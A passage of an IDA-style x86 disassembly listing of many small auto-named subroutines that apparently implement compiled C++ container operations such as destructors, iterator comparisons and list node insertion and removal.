		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4218A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421970	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421970	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219B0	proc near		; CODE XREF: sub_4018E8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401910
sub_4219B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219F0	proc near		; CODE XREF: sub_401825j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40197E
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401956
sub_4219F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EDD
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AA0	proc near		; CODE XREF: sub_40197Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AD0	proc near		; CODE XREF: sub_402185j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40197E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40190B
sub_421AD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_40170Dj
		push	esi
		mov	esi, ecx
		call	sub_4019FB
		mov	eax, esi
		pop	esi
		retn
sub_421B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B80	proc near		; CODE XREF: sub_401811j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40201D
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BB0	proc near		; CODE XREF: sub_4016EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421BB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013F7
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401465
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021DA
sub_421BF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_401465j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D89
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CA0	proc near		; CODE XREF: sub_4013F7j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421CA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013F7
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BC2
sub_421CD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D10	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401839j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D5C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401EEC
		mov	edi, eax
		push	edi
		call	sub_401B31
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421DB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B31
		push	edi
		mov	[eax], ebx
		call	sub_401B31
		mov	edi, [eax]
		push	edi
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E5B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E50	proc near		; CODE XREF: sub_40190Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401D07
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401910
sub_421E50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401D07
		push	edi
		mov	[eax], ebx
		call	sub_401D07
		mov	edi, [eax]
		push	edi
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017F3
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_4019A6j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jz	short loc_421F4A


loc_421F08:				; CODE XREF: sub_421EF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020D6
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A2D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jnz	short loc_421F08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421F4A:				; CODE XREF: sub_421EF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401910j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401E0B
sub_421F80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F95
		mov	edi, esi


loc_421F95:				; CODE XREF: ___:00421F91j
		push	esi
		call	sub_40206D
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421FAA
		mov	edi, esi


loc_421FAA:				; CODE XREF: ___:00421FA6j
		push	esi
		call	sub_401D07
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FD0	proc near		; CODE XREF: sub_401956j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401550
sub_421FD0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_40206Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422010	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_4019FBj
		mov	eax, ecx
		retn
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401523
		mov	eax, esi
		pop	esi
		retn	4
sub_422050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422080	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422080	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220B0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018F7
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_4220B0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013E8
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4221AA


loc_422168:				; CODE XREF: sub_422150+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019BA
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B90
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422168
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4221AA:				; CODE XREF: sub_422150+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422150	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020DB
sub_4221E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221F5
		mov	edi, esi


loc_4221F5:				; CODE XREF: ___:004221F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42220A
		mov	edi, esi


loc_42220A:				; CODE XREF: ___:00422206j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422230	proc near		; CODE XREF: sub_4021DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018F2
sub_422230	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422270	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018FC
		mov	eax, esi
		pop	esi
		retn	4
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222E0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4222E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422310	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A3C
		add	esp, 8
		retn	8
sub_422310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422340	proc near		; CODE XREF: sub_401A2Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020D6
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40206D
		push	esi
		mov	ebx, eax
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401D07
		push	esi
		mov	ebx, eax
		call	sub_40206D
		mov	eax, [eax]
		push	eax
		call	sub_401D07
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40163B
		push	esi
		mov	ecx, edi
		call	sub_401956
sub_422340	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422400	proc near		; CODE XREF: sub_401D07j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422420	proc near		; CODE XREF: sub_401E0Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_422420	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422450	proc near		; CODE XREF: sub_401550j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422450	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40203B
		add	esp, 8
		retn	8
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224A0	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4224A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4224C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224E0	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4224E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422510	proc near		; CODE XREF: sub_401B90j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019BA
		mov	ecx, eax
		call	sub_4018F7
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E7E
		push	esi
		mov	ecx, edi
		call	sub_4021DA
sub_422510	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225D0	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4225D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225F0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_4225F0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422620	proc near		; CODE XREF: sub_4018F2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422620	endp

